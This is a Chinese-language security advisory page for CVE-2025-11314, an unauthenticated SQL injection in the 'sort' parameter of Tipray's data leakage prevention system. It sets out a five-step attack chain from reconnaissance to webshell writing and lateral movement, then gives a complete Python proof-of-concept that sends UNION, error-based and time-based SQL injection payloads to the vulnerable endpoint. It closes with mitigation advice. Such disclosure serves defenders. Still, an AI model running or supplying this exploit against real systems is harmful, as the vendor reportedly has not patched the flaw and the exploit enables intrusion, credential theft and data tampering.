IPBUF安全漏洞报告
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CVE-2025-11314 CVSS 7.3 高危

CVE-2025-11314:天锐数据泄露防护系统SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11314
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tipray 厦门天锐科技股份有限公司 天锐数据泄露防护系统 (Data Leakage Prevention System)

相关标签

SQL注入天锐科技数据泄露防护系统DLPTipray未授权访问远程攻击CVSS7.3高危漏洞findSingConfigPage.do

漏洞概述

CVE-2025-11314是天锐科技股份有限公司(Tipray)旗下天锐数据泄露防护系统(Data Leakage Prevention System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统后端接口文件findSingConfigPage.do中的findRolePage函数,由于对参数sort的处理缺乏充分的输入验证和参数化处理,攻击者可以通过构造恶意的SQL语句作为sort参数的值,实现SQL注入攻击。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N)和用户交互(UI:N),表明该漏洞可以被远程未授权攻击者轻易利用。漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),意味着攻击者可以读取、修改数据库中的数据,并可能造成服务中断。

值得注意的是,该漏洞的利用代码已经被公开披露,且厂商在收到漏洞报告后未做出任何回应,这大大增加了该漏洞被实际利用的风险。由于天锐数据泄露防护系统通常部署在企业内网中用于防止数据泄露,一旦该系统被攻破,攻击者不仅能获取系统中的敏感数据,还可能以此为跳板进一步渗透企业内网,造成严重的安全后果。

技术细节

该SQL注入漏洞存在于天锐数据泄露防护系统1.0版本的findSingConfigPage.do接口文件中,具体位于findRolePage函数内。漏洞的根本原因在于该函数对sort参数的处理未采用预编译参数化查询或充分的输入过滤,直接将用户可控的sort参数拼接到SQL查询语句中执行。

从技术层面分析,攻击者可以通过在HTTP请求中传入精心构造的sort参数,利用SQL注入技术执行任意SQL语句。典型的攻击载荷可能采用UNION SELECT联合查询、布尔盲注或时间盲注等方式提取数据库中的敏感信息。由于该接口无需认证即可访问,攻击者可以在没有任何凭证的情况下直接对目标系统发起攻击。

攻击者利用该漏洞可以执行以下操作:1)通过UNION查询读取数据库中的所有数据,包括用户凭证、敏感配置信息等;2)利用堆叠查询(stacked queries)执行INSERT、UPDATE、DELETE等语句修改或删除数据;3)通过information_schema等系统表获取数据库结构信息;4)在特定数据库(如MySQL)中使用INTO OUTFILE写入文件,进一步实现远程代码执行。

由于漏洞利用代码已公开披露,攻击者可以轻易地使用现成的工具或脚本对该系统发起攻击。厂商天锐科技在收到漏洞披露后未做出回应,也未发布安全补丁,这使得运行该系统的企业面临极大的安全风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等网络空间搜索引擎或扫描工具,识别暴露在公网或内网中的天锐数据泄露防护系统,定位findSingConfigPage.do接口的访问路径。
STEP 2
步骤2:漏洞探测
攻击者向目标系统的findSingConfigPage.do接口发送带有特殊构造sort参数的HTTP请求,通过观察响应内容、错误信息或响应时间差异,确认SQL注入漏洞的存在。
STEP 3
步骤3:注入利用
攻击者利用确认的SQL注入漏洞,使用UNION联合查询、报错注入或时间盲注等技术,从数据库中提取敏感信息,包括管理员凭证、用户数据、系统配置等。
STEP 4
步骤4:权限提升与数据窃取
攻击者通过获取的管理员凭证登录系统后台,进一步访问天锐数据泄露防护系统所保护的敏感数据,或利用数据库权限执行更高危的操作如写入Webshell。
STEP 5
步骤5:横向移动
由于天锐数据泄露防护系统通常部署在企业内网核心位置,攻击者可以以此为跳板,利用获取的凭证和网络访问权限,对企业内网的其他关键系统发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11314 - Tipray Data Leakage Prevention System SQL Injection PoC # Vulnerability: SQL Injection in findRolePage function via 'sort' parameter # Affected: findSingConfigPage.do endpoint import requests TARGET_URL = "http://target-host:port" VULNERABLE_ENDPOINT = "/findSingConfigPage.do" def exploit_sqli_union(base_url): """Exploit SQL injection using UNION-based technique""" # Craft malicious sort parameter for UNION-based injection payload = { "sort": "1 UNION SELECT NULL,user(),database(),version(),NULL,NULL-- -", "page": "1", "rows": "10" } try: response = requests.post( f"{base_url}{VULNERABLE_ENDPOINT}", data=payload, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response.text except Exception as e: print(f"[-] Error: {e}") return None def exploit_sqli_error_based(base_url): """Exploit SQL injection using error-based technique""" payload = { "sort": "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -", "page": "1", "rows": "10" } try: response = requests.post( f"{base_url}{VULNERABLE_ENDPOINT}", data=payload, timeout=10 ) print(f"[+] Error-based Response: {response.text[:500]}") return response.text except Exception as e: print(f"[-] Error: {e}") return None def exploit_sqli_blind_time(base_url): """Exploit SQL injection using time-based blind technique""" payload = { "sort": "1 AND IF(1=1,SLEEP(5),0)-- -", "page": "1", "rows": "10" } try: response = requests.post( f"{base_url}{VULNERABLE_ENDPOINT}", data=payload, timeout=15 ) elapsed = response.elapsed.total_seconds() if elapsed >= 5: print(f"[+] Time-based SQLi confirmed! Response time: {elapsed}s") return elapsed except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-11314 Exploit PoC") print(f"[*] Target: {TARGET_URL}") print("\n[1] UNION-based injection:") exploit_sqli_union(TARGET_URL) print("\n[2] Error-based injection:") exploit_sqli_error_based(TARGET_URL) print("\n[3] Time-based blind injection:") exploit_sqli_blind_time(TARGET_URL)

影响范围

Tipray 天锐数据泄露防护系统 1.0

防御指南

临时缓解措施
在厂商发布官方补丁之前,建议采取以下临时缓解措施:1)通过防火墙或网络访问控制列表(ACL)限制findSingConfigPage.do接口的访问,仅允许可信IP地址访问;2)部署Web应用防火墙(WAF)并配置SQL注入防护规则,对sort等参数进行严格过滤;3)将数据库连接账号降权,禁止执行危险操作;4)监控系统日志,对异常的SQL查询请求及时告警和阻断;5)如非必要,将天锐数据泄露防护系统部署在内网隔离区域,减少暴露面。

参考链接

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